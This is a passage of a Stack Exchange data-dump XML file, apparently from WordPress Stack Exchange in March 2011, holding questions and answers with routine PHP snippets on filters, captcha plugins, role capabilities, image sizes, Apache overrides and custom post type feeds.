'page_route');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and try again.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-24T21:37:10.777" CommentCount="3" />
  <row Id="12987" PostTypeId="2" ParentId="12983" CreationDate="2011-03-24T22:01:21.930" Score="2" ViewCount="" Body="&lt;p&gt;I think this is not very hard to do. If you have currently have paginated date-based archives you can just disable paging when you are in a month overview:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse12983_pre_get_posts' );&#xA;function wpse12983_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_month() ) {&#xA;        $wp_query-&amp;gt;set( 'nopaging', true );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;get_month_link()&lt;/code&gt; to get links to the adjacent months. If you want to skip months without posts you can call &lt;code&gt;get_previous_post()&lt;/code&gt; at the beginning of the loop and &lt;code&gt;get_next_post()&lt;/code&gt; at the end (or you set the global &lt;code&gt;$post&lt;/code&gt; variable yourself before you call these functions - they don't accept a post argument). Extract the dates from these posts and pass them to &lt;code&gt;get_month_link()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T22:01:21.930" />
  <row Id="12988" PostTypeId="2" ParentId="12971" CreationDate="2011-03-24T22:06:21.793" Score="1" ViewCount="" Body="&lt;p&gt;Its extremely difficult to remove a filter that's added as part of an object. You have get the reference to the original object and pass that as part of the function to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily the filter was added at an unusual priority, so you will probably be safe removing all filters at priority 100:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_all_filters( 'the_content', 100 );&#xA;$content = apply_filters('the_content', '&amp;lt;!--subscribe2--&amp;gt;');&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure that you don't have anything else essential being added at priority 100...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;If you have to find only this specific filter to remove, then I'm out of my depth. Anyone else?&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I had to figure this one out, since I've actually wondered for a while how to remove a filter that was passed by reference. In this case the class MnglAppController which adds the filter is initiated as a variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mngl_app_controller           = new MnglAppController();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to remove it, you have to globalize that variable, and pass it as part of the remove_filter call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $mngl_app_controller;&#xA;remove_filter( 'the_content', array($mngl_app_controller, 'page_route'), 100 );&#xA;$content = apply_filters('the_content', '&amp;lt;!--subscribe2--&amp;gt;');&#xA;echo $content;&#xA;add_filter( 'the_content', array($mngl_app_controller, 'page_route'), 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-24T22:39:09.827" LastActivityDate="2011-03-24T22:39:09.827" CommentCount="1" />
  <row Id="12989" PostTypeId="1" AcceptedAnswerId="13109" CreationDate="2011-03-24T22:21:02.863" Score="4" ViewCount="479" Body="&lt;p&gt;I'm suffering from the issue of lots of fake registrations for my site.&lt;br&gt;&#xA;I'd like to add a captcha for registrations.  What is the best plugin that&#xA;will require a captcha at registration?  Recommendations based on real installs are most appriciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: I'm using the most up-to-date install of WP.&lt;/p&gt;&#xA;" OwnerUserId="4121" LastActivityDate="2011-03-26T03:28:10.177" Title="What is the best Captcha plugin for registration?" Tags="&lt;captcha&gt;" AnswerCount="6" FavoriteCount="1" />
  <row Id="12991" PostTypeId="2" ParentId="12989" CreationDate="2011-03-24T22:54:02.457" Score="2" ViewCount="" Body="&lt;p&gt;The one plugin all my clients love (for unknown reason) is &lt;a href=&quot;http://wordpress.org/extend/plugins/keycaptcha/&quot; rel=&quot;nofollow&quot;&gt;KeyCAPTCHA - Free interactive CAPTCHA service&lt;/a&gt; (that is the real name).&#xA;I like it because it integrates with  :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registration form&lt;/li&gt;&#xA;&lt;li&gt;Comment form&lt;/li&gt;&#xA;&lt;li&gt;Login form&lt;/li&gt;&#xA;&lt;li&gt;Lost password form&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7&lt;/li&gt;&#xA;&lt;li&gt;BuddyPress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-24T22:54:02.457" />
  <row Id="12992" PostTypeId="2" ParentId="12989" CreationDate="2011-03-24T22:58:49.867" Score="2" ViewCount="" Body="&lt;p&gt;That depends. Do you have a custom registration page in your template, or are you using the default WordPress registration page? Or the Buddypress registration page maybe? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at SI Captcha as it supports both. &lt;a href=&quot;http://wordpress.org/extend/plugins/si-captcha-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/si-captcha-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR if you want a cleaner looking captcha try WP-Recaptcha (API key required- free) &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-recaptcha/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-recaptcha/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used both and haven't had any spam sign ups yet! ... as further security you could install ban-hammer and enable stopforumspam feature that auto-blocks any e-mails on the blacklist from registering!! (do a google search for wordpress banhammer plugin... i'd link you but it won't let me post more than 2 links) &lt;/p&gt;&#xA;" OwnerUserId="4194" LastEditorUserId="4194" LastEditorDisplayName="" LastEditDate="2011-03-24T23:04:10.363" LastActivityDate="2011-03-24T23:04:10.363" />
  <row Id="12993" PostTypeId="2" ParentId="12984" CreationDate="2011-03-24T23:03:00.033" Score="3" ViewCount="" Body="&lt;p&gt;Don't they need the &quot;edit_themes&quot; capability? You can use Justin Tadlocks plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt; to edit the capabilities associated with each role.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2011-03-24T23:03:00.033" CommentCount="1" />
  <row Id="12994" PostTypeId="2" ParentId="12984" CreationDate="2011-03-24T23:06:25.010" Score="2" ViewCount="" Body="&lt;p&gt;you can add capabilities to the editor role using the role object and add_cap from you functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   // get the the role object&#xA;   $editor = get_role('editor');&#xA;   // add $cap capability to this role object&#xA;   $editor-&amp;gt;add_cap('edit_theme_options');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also remove capabilities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor-&amp;gt;remove_cap('delete_posts'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just take a look at the &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Roles&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;list of capabilities&lt;/strong&gt;&lt;/a&gt; and what each one means.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-24T23:06:25.010" CommentCount="1" />
  <row Id="12995" PostTypeId="2" ParentId="12903" CreationDate="2011-03-24T23:26:47.127" Score="-1" ViewCount="" Body="&lt;p&gt;Have you tried temporarily changing themes? If the issue quits then it might be something in your theme's functions.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might be a Yoast behavior... not certain though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it may be good to manually check your htaccess file for funny business.&lt;/p&gt;&#xA;" OwnerUserId="4202" LastActivityDate="2011-03-24T23:26:47.127" CommentCount="1" />
  <row Id="12996" PostTypeId="1" AcceptedAnswerId="12998" CreationDate="2011-03-24T23:38:27.460" Score="1" ViewCount="149" Body="&lt;p&gt;Under Media Settings I edited the Image Sizes to the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Thumbnail size: 170x80&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Medium size: 550x170&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Large size: 550x320&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(&quot;Crop thumbnails to exact dimensions&quot; is checked)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maximum embed size: Width 1000, Height 1000&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My problem is when I upload an image it ignores these dimensions. For example, when I upload a 550x320 image, and then try to add it to a post, it has been cropped to the following sizes (uploads folder shows the same):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Thumbnail size: 137x80&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Medium size: 292x170&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Large size: (unavailable)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Original size: 550x320&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I get these image sizes working correctly? &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-25T01:19:09.627" Title="Media &gt; Image Sizes aren't being applied to uploads" Tags="&lt;media&gt;&lt;image&gt;&lt;image-size&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12997" PostTypeId="2" ParentId="12982" CreationDate="2011-03-24T23:41:26.007" Score="2" ViewCount="" Body="&lt;p&gt;Check out this tutorial for query variables: &lt;a href=&quot;http://www.rlmseo.com/blog/passing-get-query-string-parameters-in-wordpress-url/&quot; rel=&quot;nofollow&quot;&gt;http://www.rlmseo.com/blog/passing-get-query-string-parameters-in-wordpress-url/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what you will be adding is a custom query variable with value either A or B to show different content. I.e. /author/username/contentA is actually index.php?author=username&amp;amp;customqueryvar=contentA.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2011-03-24T23:41:26.007" CommentCount="2" />
  <row Id="12998" PostTypeId="2" ParentId="12996" CreationDate="2011-03-25T01:12:25.933" Score="5" ViewCount="" Body="&lt;p&gt;The issue is that WordPress always maintains the aspect ratio on your photos. For a lot of uses, this makes sense. However, if you're trying to line up a bunch of images — some in portrait, others in landscape — it can be a real pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fix this, you can register a new image size in your &lt;code&gt;functions.php&lt;/code&gt; file in your theme. For example, I just added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('yourName', 400, 400, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function is defined as follows in /wp-includes/media.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {&#xA;    global $_wp_additional_image_sizes;&#xA;    $_wp_additional_image_sizes[$name] = array( 'width' =&amp;gt; absint( $width ), 'height' =&amp;gt; absint( $height ), 'crop' =&amp;gt; (bool) $crop );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then ask for the image by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('yourName');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside of your theme... but this only works for the featured image. Sadly, the image size option isn't added to the selection box when adding media through the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if this does what you're looking for, you can auto-resize any old images you have to the new size by using this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/regenerate-thumbnails/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="2984" LastEditorDisplayName="" LastEditDate="2011-03-25T01:19:09.627" LastActivityDate="2011-03-25T01:19:09.627" CommentCount="1" />
  <row Id="12999" PostTypeId="2" ParentId="12980" CreationDate="2011-03-25T01:43:22.423" Score="1" ViewCount="" Body="&lt;p&gt;Inside of your config you have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /&amp;gt;&#xA;    Options FollowSymLinks&#xA;    AllowOverride None&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should change it to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /&amp;gt;&#xA;    Options FollowSymLinks&#xA;    AllowOverride All&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;AllowOverride&lt;/code&gt; directive is what allows the &lt;code&gt;.htaccess&lt;/code&gt; file to be read. If you still have trouble, make sure you change this in the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/var/www/html&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;block as well (depending on where your site is located).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-25T01:43:22.423" CommentCount="1" />
  <row Id="13000" PostTypeId="1" AcceptedAnswerId="13002" CreationDate="2011-03-25T01:51:25.637" Score="0" ViewCount="86" Body="&lt;p&gt;As I already told, I'm setting up a Blog for a friend. Next to not being him an administrator &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12984/how-can-i-allow-the-editor-role-to-change-theme-settings&quot;&gt;but an editor that can make changes to theme options&lt;/a&gt;) I have an additional question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want him to worry about updates as well nor do I want him bothering me, but the problem is, editors do see a slightly changed variant of the update nag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable those for non-admins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just the case that we normally do know about Wordpress updates even before they get packaged and released.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-25T23:03:03.960" Title="How can I disable the update notice for non-administrators?" Tags="&lt;roles&gt;&lt;updates&gt;&lt;modifications&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13002" PostTypeId="2" ParentId="13000" CreationDate="2011-03-25T01:58:21.840" Score="2" ViewCount="" Body="&lt;p&gt;You may have to adjust the capability.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'hide_update_msg', 1 );&#xA;function hide_update_msg()&#xA;{&#xA;    ! current_user_can( 'install_plugins' ) &#xA;        and remove_action( 'admin_notices', 'update_nag', 3 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-25T23:03:03.960" LastActivityDate="2011-03-25T23:03:03.960" CommentCount="3" />
  <row Id="13003" PostTypeId="2" ParentId="10138" CreationDate="2011-03-25T02:17:29.297" Score="1" ViewCount="" Body="&lt;p&gt;I used to use shortcode with get_bloginfo for relative paths inside actual post content. I was going to turn it into a full blow plugin but I could have sworn the folks at automatic released one which I can no longer find. Here's is a simple example of how it work as I can't find mine atm since I don't use it anymore, as per Bainternet post, maybe the folks at automatic realized this too..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple shortcode function that will return your base url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_relative_post_image_link() {&#xA;$linky = get_bloginfo('wpurl');&#xA;echo $linky;&#xA;}&#xA;add_shortcode('posty', 'my_relative_post_image_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your site is example.com then putting the shortcode [posty] in your content will return example.com as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make actual use of this you will need to customize the function using more parameters from get_blogfino and wrap it in the necessary html tags&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bloginfo&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_bloginfo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-03-25T02:24:12.397" LastActivityDate="2011-03-25T02:24:12.397" />
  <row Id="13004" PostTypeId="2" ParentId="6818" CreationDate="2011-03-25T02:40:18.310" Score="0" ViewCount="" Body="&lt;p&gt;I know I'm a little late to the party here, but I'd like to add that there is also dedicated filter for this: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13386&quot; rel=&quot;nofollow&quot;&gt;enter_title_here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2011-03-25T02:40:18.310" />
  <row Id="13005" PostTypeId="2" ParentId="12989" CreationDate="2011-03-25T02:45:52.347" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;https://www.keycaptcha.com/&quot; rel=&quot;nofollow&quot;&gt;keycaptcha.com&lt;/a&gt; site has live online demo and it serves not only WordPress/BuddyPress powered websites but all PHP5-based CMSs.  It is specially designed that in case of being cracked, pool of captchas and even its type (of interactivity for passing) can be changed without plugin reinstall&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other unique features worth to mention:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Customizable language support. It supports a dozen of languages (including German) and requests for new ones are welcome   &lt;/li&gt;&#xA;&lt;li&gt;One can &lt;a href=&quot;https://www.keycaptcha.com/whatisit/?s=pc&quot; rel=&quot;nofollow&quot;&gt;create his own captchas from his own images with online designer (fee-based servce in addition to free of charge one - $5/month, $20/year)&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;SI Captcha and reCAPTCHA (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12989/what-is-the-best-captcha-plugin-for-registration/12992#12992&quot;&gt;recommended in one of answers in this thread&lt;/a&gt;) are easily passable by spam bots&lt;/p&gt;&#xA;" OwnerUserId="2681" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-25T03:43:52.163" LastActivityDate="2011-03-25T03:43:52.163" CommentCount="1" />
  <row Id="13006" PostTypeId="1" AcceptedAnswerId="13015" CreationDate="2011-03-25T03:09:56.537" Score="1" ViewCount="154" Body="&lt;p&gt;By default WP seems to display all posts of all types in the main RSS feed.&#xA;You have to add a post_type query variable to show post of a certain type...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I turn this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://site.com/feed/?post_type=book&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://site.com/feed/books/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if possible rewrite &lt;code&gt;http://site.com/feed/&lt;/code&gt; to &lt;code&gt;http://site.com/feed/blog/&lt;/code&gt;, which should display only normal posts...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-25T06:40:49.693" Title="Nice RSS Feed URLs for each custom post type" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;rss&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="13007" PostTypeId="2" ParentId="12764" CreationDate="2011-03-25T04:02:24.433" Score="0" ViewCount="" Body="&lt;p&gt;Did the theme have &quot;custom&quot; 404 pages that were being cached by the plugins as &quot;real&quot; pages, possibly?&lt;/p&gt;&#xA;" OwnerUserId="4204" LastActivityDate="2011-03-25T04:02:24.433" />
  <row Id="13008" PostTypeId="1" AcceptedAnswerId="13009" CreationDate="2011-03-25T04:25:15.423" Score="0" ViewCount="57" Body="&lt;p&gt;I have a plugin that installs a folder of themes and other plugins into the WP site during plugin activation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to place script into the plugin which will activate one of the themes that the plugin installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone post a quick example of script that registers and activates a known theme via a plugin's activation script?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-25T04:30:00.057" Title="Activate theme via plugin script?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="13009" PostTypeId="2" ParentId="13008" CreationDate="2011-03-25T04:30:00.057" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/switch_theme&quot; rel=&quot;nofollow&quot;&gt;switch_theme()&lt;/a&gt; should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_activate() {&#xA;  switch_theme('default', 'default');&#xA;}&#xA;&#xA;register_activation_hook( __FILE__, 'myplugin_activate' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-25T04:30:00.057" CommentCount="3" />
  <row Id="13010" PostTypeId="2" ParentId="5933" CreationDate="2011-03-25T04:48:31.083" Score="3" ViewCount="" Body="&lt;p&gt;While I appreciate the idea, isn't this just replacing one plugin with another? Rarst's link already has the answer -- it just needs to be reworked a bit to check for the plugin periodically, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function goodbye_dolly() {&#xA;    if (file_exists(WP_PLUGIN_DIR.'/hello.php')) {&#xA;        require_once(ABSPATH.'wp-admin/includes/plugin.php');&#xA;        require_once(ABSPATH.'wp-admin/includes/file.php');&#xA;        delete_plugins(array('hello.php'));&#xA;    }&#xA;}&#xA;&#xA;add_action('admin_init','goodbye_dolly');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Slap that into your functions.php file (in a child theme if you aren't already using a custom theme) and you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="4205" LastActivityDate="2011-03-25T04:48:31.083" CommentCount="1" />
  <row Id="13011" PostTypeId="2" ParentId="5933" CreationDate="2011-03-25T05:14:51.357" Score="2" ViewCount="" Body="&lt;p&gt;There is the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/unwanted-plugins-remover/&quot; rel=&quot;nofollow&quot;&gt;Unwanted Plugins Remover&lt;/a&gt; now. It will remove the plugins Akismet and Hello Dolly on every upgrade. You can filter the plugin list to match only one of those plugins or to add more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;unwanted_plugins = apply_filters( &#xA;    'unwanted_plugins_list', array( 'akismet/akismet.php', 'hello.php' ) &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-25T05:14:51.357" CommentCount="1" />
  <row Id="13013" PostTypeId="2" ParentId="11199" CreationDate="2011-03-25T05:51:25.937" Score="-1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.thegeekprofessor.com/tips-and-tricks/hacks/wordpress-hacks/jsearch-plugin/jsearch2-about/&quot; rel=&quot;nofollow&quot;&gt;http://www.thegeekprofessor.com/tips-and-tricks/hacks/wordpress-hacks/jsearch-plugin/jsearch2-about/&lt;/a&gt;&#xA;Might help you out...&lt;/p&gt;&#xA;" OwnerUserId="4206" LastActivityDate="2011-03-25T05:51:25.937" CommentCount="1" />
  <row Id="13014" PostTypeId="2" ParentId="12972" CreationDate="2011-03-25T05:54:53.483" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Because people are often confused about how to get data from global objects/vars&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this to get an insight view of what you can use from the current request/wp_query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function inspect_wp_query() &#xA;{&#xA;  echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($GLOBALS['wp_query'])&#xA;  echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_action( 'template_redirect' ); // Query on public facing pages&#xA;add_action( 'admin_notices' ); // Query in admin UI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // this:&#xA;    global $wp_query;&#xA;    $wp_query;&#xA;    // is the same as&#xA;    $wp_query;&#xA;    // and as this:&#xA;    $GLOBALS['wp_query'];&#xA;&#xA;// You can do this with each other global var too, like $post, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to actually get the data:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Example (not the best one)&#xA;Object WP_Query -&amp;gt; post stdClass -&amp;gt; postdata Array&#xA;&#xA;// How to get the data:&#xA;// Save object into var&#xA;$my_data = new WP_Query; // on a new object&#xA;// or on the global available object from the current request&#xA;$my_data = $GLOBALS['wp_query'];&#xA;&#xA;// get object/stdClass&#xA;$my_post_data = $my_data-&amp;gt;post;&#xA;// get Array&#xA;$my_post_data = $my_data['post'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-25T05:54:53.483" CommentCount="1" />
  <row Id="13015" PostTypeId="2" ParentId="13006" CreationDate="2011-03-25T06:40:49.693" Score="2" ViewCount="" Body="&lt;p&gt;If you set &lt;code&gt;'has_archive' =&amp;gt; TRUE&lt;/code&gt; in &lt;code&gt;register_post_type()&lt;/code&gt; the post type will have its own feed on &lt;code&gt;/books/feed/&lt;/code&gt; and its items are not included in the main feed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example plugin&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WPSE13006 feed for CPT demo&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;&#xA;add_action( 'init', 'wpse13006_register' );&#xA;&#xA;// Call wp-admin/options-permalink.php once after activation to make permalinks work&#xA;function wpse13006_register()&#xA;{&#xA;    register_post_type(&#xA;        'wpse13006'&#xA;    ,   array (&#xA;            'has_archive'         =&amp;gt; TRUE&#xA;        ,   'label'               =&amp;gt; 'wpse13006'&#xA;        ,   'public'              =&amp;gt; TRUE&#xA;        ,   'publicly_queryable'  =&amp;gt; TRUE&#xA;        ,   'query_var'           =&amp;gt; 'wpse13006'&#xA;        ,   'rewrite'             =&amp;gt; array ( 'slug' =&amp;gt; 'wpse13006' )&#xA;        ,   'show_ui'             =&amp;gt; TRUE&#xA;        ,   'show_in_menu'        =&amp;gt; TRUE&#xA;        ,   'supports'            =&amp;gt; array ( 'title', 'editor' )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create one post, publish and view it. If you go up one level to &lt;code&gt;/wpse13006/&lt;/code&gt; now, you’ll find the feed at &lt;code&gt;/wpse13006/feed/&lt;/code&gt;. The post will not show up in the main feed.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-25T06:40:49.693" CommentCount="2" />
  <row Id="13016" PostTypeId="2" ParentId="12729" CreationDate="2011-03-25T06:50:25.373" Score="1" ViewCount="" Body="&lt;p&gt;You could put something like this in your theme's function.php.&#xA;This way it only runs once (when the theme is activated).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_option('my_initial_options', false);&#xA;&#xA;if ( get_option('my_initial_options')== false ){&#xA;    addmyOptions();&#xA;    update_option( 'my_initial_options', true,'','yes' );&#xA;}&#xA;&#xA;function addmyOptions(){&#xA;&#xA;update_option(&quot;posts_per_page&quot;,1);&#xA;update_option( 'show_on_front', 'page' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditorDisplayName="" LastEditDate="2011-03-25T06:59:50.330" LastActivityDate="2011-03-25T06:59:50.330" CommentCount="1" />
